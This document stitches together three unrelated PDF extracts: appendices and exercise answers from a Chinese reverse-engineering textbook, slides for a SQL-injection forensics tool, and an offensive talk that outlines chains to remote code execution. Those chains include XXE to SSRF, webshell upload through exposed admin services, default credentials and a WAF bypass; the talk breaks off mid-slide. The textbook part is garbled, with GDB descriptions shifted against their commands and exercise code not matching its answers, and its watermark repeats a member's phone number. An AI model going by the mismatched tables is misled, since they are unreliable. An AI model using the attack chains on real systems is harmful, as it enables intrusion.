搜索文本(包括指令中的文本) Ctrl-T 再次搜索该文本 Alt-P 编辑当前函数 Enter 跳转到函数、变量等对象 Esc 返回 Num − 收缩(函数代码或区域代码) Num + 展开 如果您明白函数的具体作用,就可以使用 IDA 的“收缩”功能把函数的代码隐藏起来。笔者编写的 IDA 脚本程序(https://github.com/yurichev/IDA_scripts)可自动隐藏经常使用的内联代码。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 F 速 查 表 939 F.2 OllyDbg OllyDbg 常用的快捷键如下表所示。 快 捷 键 作 用 F7 单步步入/单步调试 F8 单步步过 F9 执行至断点处 Ctrl-F2 重新启动程序 F.3 MSVC 选项 本书常用的 MSVC 选项如下表所示。 选 项 作 用 /O1 创建尺寸最小的文件 /Ob0 禁止內联展开 /Ox 启用最大优化 /GS- 禁用安全检查(缓冲区溢出) /Fa(file) 创建汇编文件(设置文件名) /Zi 生成完整的调试信息 /Zp(n) 使封装结构体向 n 字节边界对齐 /MD 令可执行程序使用 MSVCR*.DLL 有关 MSVC 的详细介绍,请参见本书的 55.1 节。 F.4 GCC 本书用到的 GCC 选项如下表所示。 选 项 作 用 -Os 优化目标文件大小 -O3 打开所有-O2 的优化选项 -regparm= 设定传递参数的寄存器的数量 -o file 指定输出的文件名 -g 产生带有调试信息的目标代码 -S 仅编译到汇编指令,不进行汇编和链接 -masm=intel 汇编指令采用 intel 语体 -fno-inline 禁止內联函数 异步社区会员 dearfuture(15918834820) 专享 尊重版权 940 逆向工程权威指南(下册) F.5 GDB 本书用到的 GDB 指令如下表所示。 选 项 作 用 break filename.c:number 在源程序第 n 行处设置断点 break function 在函数入口处设置断点 break *address 在某地址设置断点 b 同 break p variable 显示变量的值 run 运行 r 同 run cont 继续运行 c (同上) bt 打印当前栈的所有信息 set disassembly-flavor intel 设置为 intel 语体 disas 查看当前函数程序的汇编指令 disas function 查看函数的汇编指令 disas function,+50 disas $eip,+0x10 查看函数的部分汇编指令 disas/r 查看接下来的几条指令 info registers 查看 opcode info float 显示 CPU 各寄存器的值 info locals 显示 FPU 各寄存器的值 x/w ... 列出全部的局部变量(如果能识别出来) x/w $rdi 读取内存,并显示为 word 型数据 x/10w ... 从 RDI 指定的地址读取数据,显示为 word x/s ... 读取并显示 10 个 word 型数据 x/i ... 读取内存并显示为字符串 x/10c ... 读取内存并显示为汇编代码 x/b ... 读取内存,并显示 10 个字符 x/h ... 读取内存,并显示为 byte x/g ... 读取并显示 16 位 halfword 型数据 finish 读取并显示 giant words(64 位) next 执行到函数退出位置 step 单条语句执行指令,(不步入函数) set step-mode on 单步步入的跟踪调试指令 frame n 打开 step-mode 模式 info break 切换栈帧 del n 查看断点 set args ... 删除断点 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附 附录 录 G G 练 练习 习题 题答 答案 案 G.1 各章练习 第 3 章 题目 1 对应章节:3.7.1 节 MessageBeep (0xFFFFFFFF); // A simple beep. If the sound card is not available, the sound is generated using the speaker. 题目 2 对应章节:3.7.2 节 #include <unistd.h> int main() { sleep(2); }; 第 5 章 题目 1 对应章节:5.5.1 节 如果未启用 MSVC 的优化编译功能,程序显示的数字分别是 EBP 的值、RA 和 argc。在命令行中执行 相应的程序即可进行验证。 如果启用了 MSVC 的优化编译功能,程序显示的数字分别来自:返回地址 RA、argc 和数组 argv[]。 GCC 会给 main() 函数的入口分配 16 字节的地址空间,所以输出内容会有不同。 题目 2 对应章节:5.5.2 节 这些都是打印 UNIX 时间的程序,其源代码如下所示: #include <unistd.h> int main() { sleep(2); }; 第 7 章 题目 1 对应章节:7.4.1 节 Linux 下的 GCC 将所有文本字符串信息放置到.rodata 数据段,它是显式只读的(“只读的数据”): 异步社区会员 dearfuture(15918834820) 专享 尊重版权 942 逆向工程权威指南(下册) $ objdump –s 1 ... Contents of section .rodata: 400600 01000200 52657375 6c743a20 25730a00 ....Result: %s.. 400610 48656c6c 6f2c2077 6f726c64 210a00 Hello, world!.. 第 13 章 题目 1 对应章节:13.5.1 节 提示:函数 printf() 只会被调用 1 次。 第 14 章 题目 3 对应章节:14.4.3 节 #include <stdio.h> int main() { printf ("%d\n", i); }; 题目 4 对应章节:14.4.4 节 #include <stdio.h> int main() { int i; for (i=1; i<100; i=i+3) printf ("%d\n", i); }; 第 15 章 题目 1 对应章节:15.2.1 节 这是一个统计 C 字符串中空格的程序,源代码如下: #include <stdio.h> int main() { int i; for (i=100; i>0; i--) printf ("%d\n", i); }; 第 16 章 题目 1 对应章节:16.3.1 节 #include <stdio.h> 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 G 练习题答案 943 int main() { int i; for (i=1; i<100; i=i+3) printf ("%d\n", i); }; 第 17 章 题目 2 对应章节:17.10.2 节 计算 5 个双精度浮点数的平均值,源代码如下: int f(char *s) { int rt=0; for (;*s;s++) { if (*s==' ') rt++; }; return rt; }; 第 18 章 题目 1 对应章节:18.9.1 节 两个 100x200 矩阵的双精度加法运算程序,其源代码如下: #define M 100 #define N 200 void s(double *a, double *b, double *c) { for(int i=0;i<N;i++) for(int j=0;j<M;j++) *(c+i*M+j)=*(a+i*M+j) + *(b+i*M+j); }; 题目 2 对应章节:18.9.2 节 答案:两个矩阵(一个是 100x200 矩阵,另一个是 100x300)的乘法运算程序,生成一个 100x300 的矩 阵。其源代码如下所示: #define M 100 #define N 200 #define P 300 void m(double *a, double *b, double *c) { for(int i=0;i<M;i++) for(int j=0;j<P;j++) { *(c+i*M+j)=0; for (int k=0;k<N;k++) *(c+i*M+j)+=*(a+i*M+j) * *(b+i*M+j); } }; 题目 3 对应章节:18.9.3 节 异步社区会员 dearfuture(15918834820) 专享 尊重版权 944 逆向工程权威指南(下册) double f(double array[50][120], int x, int y) { return array[x][y]; }; 题目 4 对应章节:18.9.4 节 int f(int array[50][60][80], int x, int y, int z) { return array[x][y][z]; }; 题目 5 对应章节:18.9.5 节 生成乘法九九表的程序 int tbl[10][10]; int main() { int x, y; for (x=0; x<10; x++) for (y=0; y<10; y++) tbl[x][y]=x*y; }; 第 19 章 题目 1 对应章节:19.7.1 节 这是一个改变 32 位数值字节序的函数,源代码如下: unsigned int f(unsigned int a) { return ((a>>24)&0xff) | ((a<<8)&0xff0000) | ((a>>8)&0xff00) | ((a<<24)&0xff000000); }; 题目 2 对应章节:19.7.2 节 这是一个把 BCD 封装的 32 位值转换为常规格式的函数,源代码如下: #include <stdio.h> unsigned int f(unsigned int a) { int i=0; int j=1; unsigned int rt=0; for (;i<=28; i+=4, j*=10) rt+=((a>>i)&0xF) * j; return rt; }; int main() { // test printf ("%d\n", f(0x12345678)); printf ("%d\n", f(0x1234567)); printf ("%d\n", f(0x123456)); printf ("%d\n", f(0x12345)); printf ("%d\n", f(0x1234)); printf ("%d\n", f(0x123)); printf ("%d\n", f(0x12)); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 G 练习题答案 945 printf ("%d\n", f(0x1)); }; 题目 3 对应章节:19.7.3 节 #include <windows.h> int main() { MessageBox(NULL, "hello, world!", "caption", MB_TOPMOST | MB_ICONINFORMATION | MB_HELP | MB_YESNOCANCEL); }; 题目 4 对应章节:19.7.4 节 这个函数把两个 32 位数相乘,返回 64 位的积。解答这种题目,根据输入输出进行判断的速度比较快。 #include <stdio.h> #include <stdint.h> // source code taken from //http://www4.wittenberg.edu/academics/mathcomp/shelburne/comp255/notes/binarymultiplication.pdf uint64_t mult (uint32_t m, uint32_t n) { uint64_t p = 0; // initialize product p to 0 while (n != 0) // while multiplier n is not 0 { if (n & 1) // test LSB of multiplier p = p + m; // if 1 then add multiplicand m m = m << 1; // left shift multiplicand n = n >> 1; // right shift multiplier } return p; } int main() { printf ("%d\n", mult (2, 7)); printf ("%d\n", mult (3, 11)); printf ("%d\n", mult (4, 111)); }; 第 21 章 题目 1 对应章节:21.7.1 节 这个程序将显示文件所有人的 user ID。其源代码如下所示: #include <sys/types.h> #include <sys/stat.h> #include <time.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { struct stat sb; if (argc != 2) { fprintf(stderr, "Usage: %s <pathname>\n", argv[0]); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 946 逆向工程权威指南(下册) return 0; } if (stat(argv[1], &sb) == -1) { // error return 0; } printf("%ld\n",(long) sb.st_uid); } 题目 2 对应章节:21.7.2 节 提示:研究的侧重点应当放在 Jcc、MOVSx 和 MOVZX 指令。 #include <stdio.h> struct some_struct { int a; unsigned int b; float f; double d; char c; unsigned char uc; }; void f(struct some_struct *s) { if (s->a > 1000) { if (s->b > 10) { printf ("%f\n", s->f * 444 + s->d * 123); printf ("%c, %d\n", s->c, s->uc); } else { printf ("error #2\n"); }; } else { printf ("error #1\n"); }; }; 第 41 章 题目 1 对应章节:41.6 节 int f(int a) { return a/661; }; 第 50 章 题目 1 对应章节:50.5.1 节 源代码: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 G 练习题答案 947 #include <stdio.h> int is_prime(int number) { int i; for (i=2; i<number; i++) { if (number % i == 0 && i != number) return 0; } return 1; } int main() { printf ("%d\n", is_prime(137)); }; G.2 初级练习题 G.2.1 练习题 1.1 这是一个返回 2 个数中最大值的函数。 G.2.2 练习题 1.4 程序源代码如下: #include <stdio.h> int main() { char buf[128]; printf ("enter password:\n"); if (scanf ("%s", buf)!=1) printf ("no password supplied\n"); if (strcmp (buf, "metallica")==0) printf ("password is correct\n"); else printf ("password is not correct\n"); }; G.3 中级练习题 G.3.1 练习题 2.1 这个函数可根据牛顿法计算平方根,其算法摘自 Harold Abelson, Gerald Jay Sussman, and Julie Sussman: 《Structure and Interpretation of Computer Programs》(1996)。 程序源代码如下所示: // algorithm taken from SICP book #include <math.h> double average(double a, double b) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 948 逆向工程权威指南(下册) { return (a + b) / 2.0; } double improve (double guess, double x) { return average(guess, x/guess); } int good_enough(double guess, double x) { double d = abs(guess*guess - x); return (d < 0.001); }; double square_root(double guess, double x) { while(good_enough(guess, x)==0) guess = improve(guess, x); return guess; }; double my_sqrt(double x) { return square_root(1, x); }; int main() { printf ("%g\n", my_sqrt(123.456)); }; G.3.2 练习题 2.4 答案:函数 strstr() 。其源代码如下所示: char * strstr ( const char * str1, const char * str2 ) { char *cp = (char *) str1; char *s1, *s2; if ( !*str2 ) return((char *)str1); while (*cp) { s1 = cp; s2 = (char *) str2; while ( *s1 && *s2 && !(*s1-*s2) ) s1++, s2++; if (!*s2) return(cp); cp++; } return(NULL); } 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 G 练习题答案 949 G.3.3 练习题 2.6 提示:使用 google 搜索程序中的常量。 答案:程序采用的是 TEA(Tiny Encryption Algorithm)加密算法。 C 语言源代码摘自 http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm: void f (unsigned int* v, unsigned int* k) { unsigned int v0=v[0], v1=v[1], sum=0, i; /* set up */ unsigned int delta=0x9e3779b9; /* a key schedule constant */ unsigned int k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1; } G.3.4 练习题 2.13 答案:线性反馈位移寄存器。详细资料请参见:https://en.wikipedia.org/wiki/Linear_feedback_shift_register。 程序源代码如下所示: // reworked, from https://en.wikipedia.org/wiki/Linear_feedback_shift_register #include <stdint.h> uint16_t f(uint16_t in) { /* taps: 16 14 13 11; feedback polynomial: x^16 + x^14 + x^13 + x^11 + 1 */ unsigned bit = ((in >> 0) ^ (in >> 2) ^ (in >> 3) ^ (in >> 5) ) & 1; return (in >> 1) | (bit << 15); }; //#define C 0xACE1u #define C 0xBADFu int main(void) { uint16_t lfsr = C; unsigned period = 0; do { lfsr=f(lfsr); printf ("period=0x%x, lfsr=0x%x\n", period, lfsr); ++period; } while(lfsr != C); return 0; } G.3.5 练习题 2.14 程序采用的是计算最大公因数 GCD 的算法。源代码可参见:http://beginners.re/exercise-solutions/ 2/14/GCD.c。 G.3.6 练习题 2.15 这是一个使用蒙特卡罗法计算圆周率的程序,源代码可参见:http://beginners.re/exercise-solutions/ 异步社区会员 dearfuture(15918834820) 专享 尊重版权 950 逆向工程权威指南(下册) 2/15/monte.c。 G.3.7 练习题 2.16 阿克曼(Ackermann)函数(https://en.wikipedia.org/wiki/Ackermann_function)。 int ack (int m, int n) { if (m==0) return n+1; if (n==0) return ack (m-1, 1); return ack(m-1, ack (m, n-1)); }; G.3.8 练习题 2.17 程序采用了第 110 号初等元胞自动机的原理。这种算法的介绍可参见:https://en.wikipedia.org/wiki/ Rule_110。 程序源代码可参见:http://beginners.re/exercise-solutions/2/17/CA.c。 G.3.9 练习题 2.18 程序源代码可参见:http://beginners.re/exercise-solutions/2/18/。 G.3.10 练习题 2.19 程序源代码可参见:http://beginners.re/exercise-solutions/2/19/。 G.3.11 练习题 2.20 提示:可参考 Hint: On-Line Encyclopedia of Integer Sequences(OEIS))。 答案:考拉兹猜想。请参考源代码中的注释。 程序源代码可参见:http://beginners.re/exercise-solutions/2/20/collatz.c。 G.4 高难度练习题 G.4.1 练习题 3.2 程序采用的是表查询的简易算法。 源代码请参见:go.yurichev.com/17156。 G.4.2 练习题 3.3 源代码请参见:go.yurichev.com/17157。 G.4.3 练习题 3.4 源代码和解密后的文件请参见:go.yurichev.com/17158。 G.4.4 练习题 3.5 提示:我们可以看到,用户名称的字符串并没有占用整个文件。在偏移量 0x7F 之前的、以零终止的 字节被程序忽略了。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 G 练习题答案 951 源代码请参见:go.yurichev.com/17159。 G.4.5 练习题 3.6 源代码请参见:go.yurichev.com/17160。 结合其他练习,您可以掌握修补这个 web 服务器所有漏洞的方法。 G.4.6 练习题 3.8 源代码请参见:go.yurichev.com/17161。 G.5 其他练习题 G.5.1 “扫雷(Windows XP)” 请参见本书第 76 章。 提示:留意边界字节(0x10)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 参 参 考 考 文 文 献 献 [al12] Nick Montfort 等人撰写的《10 PRINT CHR$(205.5+RND(1)); : GOTO 10》,The MIT Press, 2012。 笔者将之收录为 http://go.yurichev.com/ 17286。 [AMD13a] AMD 在 2013 年发布的《AMD64 Architecture Programmer’s Manual》。笔者将之收录为: http://go.yurichev.com/17284。 [AMD13b] AMD 在 2013 年发布的《Software Optimization Guide for AMD Family 16h Processors》。笔 者将之收录为:http://go.yurichev.com/17285。 [App10] Apple 在 2010 年发布的《iOS ABI Function Call Guide》。笔者将之收录为 http://go.yurichev. com/17276。 [ARM12] ARM 在 2012 年发布的《ARM® Architecture Reference Manual, ARMv7-A and ARMv7-R edition》。 [ARM13a] ARM 在 2013 年发布的《ARM Architecture Reference Manual, ARMv8, for ARMv8-A architecture profile》。 [ARM13b] ARM 在 2013 年发布的《ELF for the ARM 64-bit Architecture (AArch64)》。笔者将之收录为 http://go.yurichev.com/17288。 [ARM13c] ARM.在 2013 年发布的《Procedure Call Standard for the ARM 64-bit Architecture (AArch64)》。 笔者将之收录为:http://go.yurichev. com/17287。 [ASS96] Harold Abelson、Gerald Jay Sussman 和 Julie Sussman 撰写的《Structure and Interpretation of Computer Programs》,1996。 [Bro] Ralf Brown《The x86 Interrupt List》。笔者将之收录为 http://go.yurichev.com/17292。 [Bur] Mike Burrell《Writing Effcient Itanium 2 Assembly Code》。笔者将之收录为 http://go.yurichev. com/17265。 [Cli] Marshall Cline《C++ FAQ》。笔者将之收录为: http://go.yurichev.com/17291。 [Cor+09] Thomas H. Cormen 等人编写的《Introduction to Algorithms, Third Edition. 3rd》The MIT Press, 2009。ISBN: 0262033844,9780262033848。 [Dij68] Edsger W. Dijkstra《Letters to the editor: go to statement considered harmful”》,发表于《Commun. ACM 11.3(1968 年 3 月)》,pp. 147–148. ISSN: 0001-0782. DOI: 10.1145/362929.362947. 笔者将之收录为 http://go.yurichev.com/ 17299。 [Dol13] Stephen Dolan《mov is Turing-complete》,2013。笔者将之收录为 http://go.yurichev.com/17269。 [Dre07] Ulrich Drepper《What Every Programmer Should Know About Memory》,2007。笔者将之收录为 http://go.yurichev.com/17341。 [Dre13] Ulrich Drepper《ELF Handling For Thread-Local Storage》,2013。笔者将之收录为 http://go.yurichev. com/17272。 [Eic11] Jens Eickhoff《Onboard Computers, Onboard Software and Satellite Operations: An Introduction》,2011。 [Fog13a] AgnerFog《Optimizing software in C++: An optimization guide for Windows, Linux and Mac platforms》, 2013。 http://go. yurichev.com/17279。 [Fog13b] AgnerFog《The microarchitecture of Intel, AMD and VIA CPUs/An optimization guide for assembly programmers and compiler makers》,2013。笔者将之收录为:http://go.yurichev.com/17278。 [Fog14] Agner Fog《Calling conventions》,2014。http://go.yurichev.com/17280 异步社区会员 dearfuture(15918834820) 专享 尊重版权 参 考 文 献 953 [haq] papasutra of haquebright.《WRITING SHELLCODE FOR IA-64》。笔者将之收录为:http://go.yurichev. com/17340。 [IBM00] IBM《PowerPC (tm) Microprocessor Family: The Programming Environments for 32-Bit Microprocessors》,2000。笔者将之收录为 http://go.yurichev.com/17281。 [Int13] Intel《Intel® 64 and IA-32 Architectures Software Developer’s Manual 》,2013,重点参考了其中 的 1,2A,2B,2C,3A,3B,3C 卷。笔者将之收录为: http://go.yurichev.com/17283。 [Int14] Intel《Intel® 64 and IA-32 Architectures Optimization Reference Manual》(2014 年 9 月)。笔者将 之收录为 http://go.yurichev.com/17342 [ISO07] ISO《ISO/IEC 9899: TC3(C C99 standard)》(2007)。笔者将之收录为:http://go.yurichev.com/17274 [ISO13] ISO《ISO/IEC 14882:2011 (C++ 11 standard)》(2013)。笔者将之收录为:http://go.yurichev.com/17275 [Jav13] Java《The Java® Virtual Machine Specification Java SE 7 Edition》,2013 年 2 月。笔者将之收录 为:http://go.yurichev.com/17345,以及 http://go.yurichev.com/17346 [Ker88] Brian W. Kernighan《The C Programming Language.Ed. by Dennis M. Ritchie. 2nd. Prentice Hall Professional Technical Reference》, 1988. ISBN: 0131103709. [Knu74] Donald E. Knuth《Structured Programming with go to Statements》,刊登于《ACM Comput. Surv. 6.4 (Dec. 1974)》. 笔者将之收录为:http://go.yurichev.com/17271, pp. 261–301. ISSN: 0360-0300. DOI: 10.1145/356635. 356640. URL: http://go.yurichev.com/17300. [Knu98] Donald E. Knuth《The Art of Computer Programming Volumes 1-3 Boxed Set》 2nd. Boston, MA, USA: Addison-Wesley Longman Publishing Co., Inc., 1998. ISBN: 0201485419. [Loh10] Eugene Loh《The Ideal HPC Programming Language》,发表于《Queue 8.6 (June 2010)》, 30:30–30:38. ISSN: 1542-7730. DOI: 10.1145/1810226.1820518.。笔者将之收录为:http://go.yurichev.com/17298。 [Ltd94] Advanced RISC Machines Ltd《The ARM Cookbook》,1994。笔者将之收录为:http://go.yurichev. com/17273。 [Mit13] Michael Matz/Jan Hubicka/Andreas Jaeger/Mark Mitchell《System V Application Binary Interface. AMD64 Archi- tecture Processor Supplement》,2013。笔者将之收录为:http://go.yurichev.com/17295。 [Mor80] Stephen P. Morse《The 8086 Primer》,1980。笔者将之收录为:http://go.yurichev.com/17351。 [One96] Aleph One.《Smashing The Stack For Fun And Profit》,发表《Phrack(1996)》。笔者将之收录 为:http://go.yurichev.com/17266。 [Pie] Matt Pietrek《A Crash Course on the Depths of Win32TM Structured Exception Handling》发表于 MSDN magazine。URL: http://go.yurichev.com/17293. [Pie02] Matt Pietrek《An In-Depth Look into the Win32 Portable Executable File Format》发表于《MSDN magazine(2002)》. URL:http://go.yurichev.com/17318. [Pre+07] William H. Press 等人《Numerical Recipes》,2007。 [RA09] Mark E. Russinovich and David A. Solomon with Alex Ionescu《Windows® Internals: Including Windows Server 2008 and Windows Vista, Fifth Edition》,2009。 [Ray03] Eric S. Raymond《The Art of UNIX Programming》,Pearson Education, 2003. ISBN: 0131429019。 笔者将之收录为:http://go.yurichev.com/17277。 [Rit79] Dennis M. Ritchie《The Evolution of the Unix Time-sharing System》,1979。 [Rit86] Dennis M. Ritchie《Where did ++ come from? (net.lang.c)》,1986。笔者将之收录为:http://go.yurichev. com/17296 [2013 年整理]。 [Rit93] Dennis M. Ritchie《The development of the C language》,发表于《SIGPLAN Not. 28.3(Mar. 1993)》。笔 者将之收录为 http://go.yurichev.com/17264, pp. 201–208. ISSN: 0362-1340. DOI: 10.1145/155360.155580. URL: http://go.yurichev.com/17297。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 954 逆向工程权威指南(下册) [RT74] D. M. Ritchie and K. Thompson《The UNIX Time Sharing System》,1974。笔者将之收录为 http://go. yurichev.com/17270。 [Sch94] Bruce Schneier《Applied Cryptography: Protocols, Algorithms, and Source Code in C》,1994。 [SK95] SunSoft Steve Zucker and IBM Kari Karhi《SYSTEM V APPLICATION BINARY INTERFACE: PowerPC Processor Supplement》,1995。笔者将之收录为 http://go.yurichev.com/17282。 [Sko12] Igor Skochinsky《Compiler Internals: Exceptions and RTTI》,2012。笔者将之收录为 http://go.yurichev. com/17294。 [Str13] BjarneStroustrup《The C++ Programming Language, 4th Edition》,2013。 [Swe10] Dominic Sweetman《See MIPS Run, Second Edition》,2010。 [War02] Henry S. Warren.《Hacker’s Delight》,Boston, MA, USA: Addison-Wesley Longman Publishing Co., Inc., 2002. ISBN: 0201914654。 [Yur12] Dennis Yurichev《Finding unknown algorithm using only input/output pairs and Z3 SMT solver》, 发表于 2012 年。笔者将之收录为 http://go.yurichev.com/17268。 [Yur13] Dennis Yurichev《C/C++ programming language notes》,2013。笔者将之收录为 http://go.yurichev. com/17289。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 欢迎来到异步社区! 异步社区的来历 异步社区 (www.epubit.com.cn) 是人民邮电 出版社旗下 IT 专业图书旗舰社区,于 2015 年 8 月上线运营。 异步社区依托于人民邮电出版社 20 余年的 IT 专业优质出版资源和编辑策划团队,打造传 统出版与电子出版和自出版结合、纸质书与电 子书结合、传统印刷与 POD 按需印刷结合的出 版平台,提供最新技术资讯,为作者和读者打 造交流互动的平台。 社区里都有什么? 购买图书 我们出版的图书涵盖主流 IT 技术,在编程语言、Web 技术、数据科学等领域有众多经典畅销图书。 社区现已上线图书 1000 余种,电子书 400 多种,部分新书实现纸书、电子书同步出版。我们还会定期 发布新书书讯。 下载资源 社区内提供随书附赠的资源,如书中的案例或程序源代码。 另外,社区还提供了大量的免费电子书,只要注册成为社区用户就可以免费下载。 与作译者互动 很多图书的作译者已经入驻社区,您可以关注他们,咨询技术问题;可以阅读不断更新的技术文章, 听作译者和编辑畅聊好书背后有趣的故事;还可以参与社区的作者访谈栏目,向您关注的作者提出采访 题目。 灵活优惠的购书 您可以方便地下单购买纸质图书或电子图书,纸质图书直接从人民邮电出版社书库发货,电子书提 供多种阅读格式。 对于重磅新书,社区提供预售和新书首发服务,用户可以第一时间买到心仪的新书。 用户账户中的积分可以用于购书优惠。100 积分 =1 元,购买图书时,在 里填 入可使用的积分数值,即可扣减相应金额。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 纸电图书组合购买 社区独家提供纸质图书和电子书组合购 买方式,价格优惠,一次购买,多种阅读选择。 社区里还可以做什么? 提交勘误 您可以在图书页面下方提交勘误,每条勘误被确认后可以获得 100 积分。热心勘误的读者还有机会 参与书稿的审校和翻译工作。 写作 社区提供基于 Markdown 的写作环境,喜欢写作的您可以在此一试身手,在社区里分享您的技术心 得和读书体会,更可以体验自出版的乐趣,轻松实现出版的梦想。 如果成为社区认证作译者,还可以享受异步社区提供的作者专享特色服务。 会议活动早知道 您可以掌握 IT 圈的技术会议资讯,更有机会免费获赠大会门票。 加入异步 扫描任意二维码都能找到我们: 异步社区 微信服务号 微信订阅号 官方微博 社区网址:www.epubit.com.cn 官方微信:异步社区 官方微博:@ 人邮异步社区,@ 人民邮电出版社 - 信息技术分社 投稿 & 咨询:[email protected] 特 别 优 惠 购买本书的读者专享异步社区购书优惠券。 使用方法:注册成为社区用户,在下单购书时输入 ,然后点击“使 用优惠码”,即可享受电子书8折优惠(本优惠券只可使用一次)。 57AWG QQ 群:436746675 异步社区会员 dearfuture(15918834820) 专享 尊重版权 分类建议: 计算机/软件开发/安全 人民邮电出版社网址:www.ptpress.com.cn 下册 下册 逆向工程权威指南 逆 向 工 程 权 威 指 南 逆向工程是一种分析目标系统的过程。 本书专注于软件逆向工程,即研究编译后的可执行程序。本书是写给初学者 的一本权威指南。全书共分为12个部分,共102章,涉及软件逆向工程相关 的众多技术话题,堪称是逆向工程技术百科全书。全书讲解详细,附带丰富 的代码示例,还给出了很多习题来帮助读者巩固所学的知识,附录部分给出 了习题的解答。 本书适合对逆向工程技术、操作系统底层技术、程序分析技术感兴趣的读者 阅读,也适合专业的程序开发人员参考。 “... 谨向这本出色的教程致以个人的敬意!” —— Herbert Bos,阿姆斯特丹自由大学教授 《Modern Operating Systems (4th Edition)》作者 “... 引人入胜,值得一读!” —— Michael Sikorski 《Practical Malware Analysis》的作者 作者简介 Dennis Yurichev,乌克兰程序员,安全技术专家。读者可以 通过https://yurichev.com/联系他,并获取和本书相关的更多 学习资料。 R e v e r s e E n g i n e e r i n g f o r B e g i n n e r s 权威指南 下册 [乌克兰] Dennis Yurichev◎著 Archer 安天安全研究与应急处理中心◎译 逆向工程 Reverse Engineering for Beginners Reverse Engineering Windows ARM iOS Linux Reversing 美术编辑:董志桢 ● 了解逆向工程的权威指南 ● 初学者必备的大百科全书 ● 安天网络安全工程师培训必读书目 FM43445逆向工程权威指南 下.indd 1-3 17-3-6 上午11:19 异步社区会员 dearfuture(15918834820) 专享 尊重版权
pdf
SQLReInjector Automated Exfiltrated Data Identification Jason A. Novak Assistant Director, Digital Forensics Chicago, IL Andrea London Digital Forensic Examiner Dallas, TX Overview Problem Historical Solution SQLReInjector Demo Get It! Questions? Who We Are Bibliography Problem Problem • 97% of data breach cases worldwide involve SQL injection attacks somewhere down the line. • On average the cost of data breach response and remediation is between $194 - $222 per record. • As of July 9th, privacyrights.org cites 330 breaches in 2012 effecting 18.6 million records. (datalossdb.org reports much higher at 723 breaches thus far) Problem Historical response is costly Fly a bunch of consultants to a data center They image the server Analyze the logs Determine what was exfiltrated from reviewing those logs. Typically running SQL commands against SQL server Only going to get costlier Problem SQLReInjector SQLReInjector Demo Time Where to Get It github.com/strozfriedberg QUESTIONS? Bibliography and Thanks • Exploits of a Mom / Little Bobby Tables by Randall Munroe – http://xkcd.com/327/ • sqlmap by Bernardo Damele A.G. and Miroslav Stampar – http://sqlmap.org/ • DVWA by RandomStorm – http://www.dvwa.co.uk/ • Apache Log Parsing – apachelog Python Module, http://code.google.com/p/apachelog/, [email protected]; – Apache-LogRegex Module, search.cpan.org/dist/Apache-LogRegex/, Peter Hickman; • Virtualization of Forensic Images – LiveView, http://liveview.sourceforge.net/, CERT Software Engineering Institute • Replaying SQL Injection Attacks – Bret Padres, http://cyberspeak.libsyn.com • Injection Attack and Data Theft Statistics – Neira Jones, Barclay Card http://news.techworld.com/security/3331283/barclays-97- percent-of-data-breaches-still-due-to-sql-injection/ • Thanks to: – Erin Nealy Cox – Cheri Carr – Scott Brown Who We Are 13 San Francisco Los Angeles Dallas Minneapolis Washington, D.C. New York L.I. Purchase Boston Over 270 employees in 11 U.S. and 1 U.K. Offices London Seattle Chicago Jason A. Novak Assistant Director, Digital Forensics Chicago, IL [email protected] Who We Are www.StrozFriedberg.com Andrea London Digital Forensic Examiner Dallas, TX [email protected]
pdf
1001 ways to PWN prod A tale of 60 RCE in 60 minutes 1. What’s in this talk? 2. RCE, RCE, RCE!!! 3. Takeaways @TheLaluka thinkloveshare.com 1 1. What’s in this talk? 2 In this talk, RCEs are : - Authent-less - Fully chained - Disclosed & Fixed - Legally POCed 🙃 Le Breakage Lalu 3 *angry customer data noise* 4 5 2. RCE, RCE, RCE!!! 6 AXIS 1.4 & Custom code ● Why & How ○ Vulnerable Axis 1.4 server ○ Usually XXE to SSRF to RCE 😍 ○ BUT Exposed /axis/services/AdminService ○ Misconfigured reverse proxy ○ Deploy a custom service : webshell.jsp ● Sources ○ https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce ○ https://copyfuture.com/blogs-details/20211206221333010S 7 Arbitrary URI copy - rwservlet ● Why & How ○ Java report rwservlet = SSRF + file write ○ Used XXE to read logs, found WEBROOT ○ SSRF to reflect a jsp webshell in XSS ○ Copy URI & XSS to WEBROOT/webshell.jsp ● Sources ○ https://www.pentestpartners.com/security-blog/hacking-oracle-reporter-a-how-to/ ○ https://nerdint.blogspot.com/2018/05/less-time-to-perform-penetration-tests.html 8 Weak credentials & JSPF upload ● Why & How ○ Exposed WebDav, weak credentials admin:admin ○ Hidden jsp files but .class accessible, jd-cli ftw!! ○ Reverse shows jspf are included 🤔 ○ Backup and overwrite a .jspf included in a .jsp ○ blocked “<%” : BIG-IP bypass with multipart upload ○ Query the .jsp for reverse shell ● Sources ○ https://fr.wikipedia.org/wiki/WebDAV ○ https://stackoverflow.com/questions/2081005/ what-is-jspf-file-extension-how-to-compile-it 9 XXE OOB file read, password in logs, SSTI ● Why & How ○ Error based SQLi in password reset ○ Out of bound XXE to leak log file ■ Old java sdk + xxe = directory listing ■ Admin plaintext password in logs ❤ ○ SSTI in custom code, Apache Velocity ○ Trigger the template rendering, “notify me by email” ● Sources ○ https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection ○ https://velocity.apache.org/ ○ https://github.com/301415926/PENTESTING-BIBLE/blob/master/11-part-24-articl e/XXE%20OOB%20exploitation%20at%20Java%201.7%2B.pdf 10 Blind SQLi, file upload hidden in .map ● Why & How ○ Blind 